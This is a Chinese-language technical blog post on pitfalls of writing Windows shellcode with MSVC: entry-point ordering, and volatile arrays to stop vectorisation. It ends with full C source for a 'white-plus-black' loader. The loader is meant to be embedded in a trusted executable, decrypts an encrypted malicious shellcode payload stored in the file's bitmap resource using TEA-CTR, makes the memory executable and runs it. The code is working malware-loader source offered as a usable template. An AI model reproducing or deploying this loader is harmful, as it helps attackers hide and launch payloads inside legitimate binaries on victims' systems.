msvc写shellcode的坑

shellcode模板:https://github.com/Brassinolide/windows-shellcode-template

项目设置:

关闭安全检查
修改入口点到shellcode
关闭增强指令集优化(对于32位)
忽略所有默认库
移除清单文件
移除调试信息(非必须,不移除还能打断点调试调试)

函数排布问题

对于msvc来说,编译出的汇编代码排布顺序就是源文件中的定义顺序(一般情况下是这样,特殊情况没见过)

从IDA就能看出来

exe程序可以设置入口点执行正确的入口函数,但shellcode不能,入口函数必须要放在开头,不然就会先执行其他函数导致程序崩溃

三种解决办法,一是将入口函数的定义放在源文件最前面(最佳解决方法),二是__forceinline强制内联所有函数(增大体积,不推荐),三是在shellcode开头写个jmp跳转到正确的入口函数

向量优化问题

常量数据按以下方式声明才会被硬编码到指令中

1
const char str3[] = {'h','e','l','l','o',' ','w','o','r','l','d',0};

但是,这种方式还存在一种微妙的向量优化问题

数据长度超过15字节后,编译器就会自动进行向量优化。问题在于,被向量化的数据会放入data区段

32位程序可以指定编译选项/arch:IA32禁用向量优化,但64位不行(64位CPU全部支持SSE2指令集,所以微软默认启用了SSE2优化,且无法关闭)

如果数据长度超过15字节,只能使用volatile修饰来阻止编译器进行向量优化

1
2
const volatile char str1[16] = { 'a','s','d','f','a','s','d','f','a','s','d','f','a','s','d',0 };
printf((const char*)str1);

这样做的副作用也很明显,原先一条指令能复制4字节数据,现在只能复制1字节,增加了shellcode的体积

白加黑加载器示例

用上方的shellcode模板写的一个白加黑加载器示例

编译出的加载器shellcode直接写到白文件中,运行时加载器从白文件的资源中读取恶意shellcode并运行

没有什么免杀性,仅供示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
typedef HMODULE(WINAPI* LoadLibraryA_t)(
LPCSTR lpLibFileName
);
typedef FARPROC(WINAPI* GetProcAddress_t)(
HMODULE hModule,
LPCSTR lpProcName
);
typedef int(WINAPI* MessageBoxA_t)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
typedef HMODULE(WINAPI* GetModuleHandleA_t)(
LPCSTR lpModuleName
);
typedef HRSRC(WINAPI* FindResourceA_t)(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
typedef HGLOBAL(WINAPI* LoadResource_t)(
HMODULE hModule,
HRSRC hResInfo
);
typedef LPVOID(WINAPI* LockResource_t)(
HGLOBAL hResData
);
typedef BOOL(WINAPI* VirtualProtect_t)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

static void mytea(uint8_t* data, size_t size, uint8_t key[16]);

struct payload_header
{
uint8_t key[16];
uint32_t size;
};

void shellcode() {
//大于15字节要用volatile修饰避免被向量化
const volatile char GetModuleHandleA_s[] = { 'G','e','t','M','o','d','u','l','e','H','a','n','d','l','e','A',0 };
const char FindResourceA_s[] = { 'F','i','n','d','R','e','s','o','u','r','c','e','A',0 };
const char LoadResource_s[] = { 'L','o','a','d','R','e','s','o','u','r','c','e',0 };
const char LockResource_s[] = { 'L','o','c','k','R','e','s','o','u','r','c','e',0 };
const char MyResource_s[] = { 'M','y','R','e','s','o','u','r','c','e',0 };
const char VirtualProtect_s[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 };

GetModuleHandleA_t MyGetModuleHandleA = (GetModuleHandleA_t)GetK32Proc((const char*)GetModuleHandleA_s);
FindResourceA_t MyFindResourceA = (FindResourceA_t)GetK32Proc(FindResourceA_s);
LoadResource_t MyLoadResource = (LoadResource_t)GetK32Proc(LoadResource_s);
LockResource_t MyLockResource = (LockResource_t)GetK32Proc(LockResource_s);
VirtualProtect_t MyVirtualProtect = (VirtualProtect_t)GetK32Proc(VirtualProtect_s);

HMODULE h = MyGetModuleHandleA(0);
HRSRC r = MyFindResourceA(h, MyResource_s, MAKEINTRESOURCEA(RT_BITMAP));
if (!r)return;
HGLOBAL rc = MyLoadResource(h, r);
if (!rc)return;
BYTE* data = (BYTE*)MyLockResource(rc);
if (!data)return;

payload_header* header = (payload_header*)data;

DWORD old;
if (!MyVirtualProtect(data, header->size + sizeof payload_header, PAGE_EXECUTE_READWRITE, &old))return;

mytea(data + sizeof payload_header, header->size, header->key);

((void(*)())(void*)(data + sizeof payload_header))();
}

static uint64_t tea_encrypt(uint64_t v, uint32_t* k) {
uint32_t v0 = ((uint32_t*)&v)[0], v1 = ((uint32_t*)&v)[1], sum = 0;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (int i = 0; i < 32; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}

uint64_t result = 0;
((uint32_t*)&result)[0] = v0;
((uint32_t*)&result)[1] = v1;
return result;
}

//CTR操作模式,无需填充,加密和解密一样
static void mytea(uint8_t* data, size_t size, uint8_t key[16]) {
uint64_t counter = *(uint64_t*)key;

for (size_t offset = 0; offset < size; offset += 8, ++counter) {
size_t remaining = size - offset;

if (remaining >= 8) {
(*(uint64_t*)(data + offset)) ^= tea_encrypt(counter, (uint32_t*)key);
}
else {
uint8_t temp[8]{};
for (int i = 0; i < remaining; ++i)temp[i] = (data + offset)[i];
(*(uint64_t*)temp) ^= tea_encrypt(counter, (uint32_t*)key);
for (int i = 0; i < remaining; ++i)(data + offset)[i] = temp[i];
}
}
}

msvc写shellcode的坑
https://crackme.net/articles/shellcode/
作者
Brassinolide
发布于
2025年1月20日
许可协议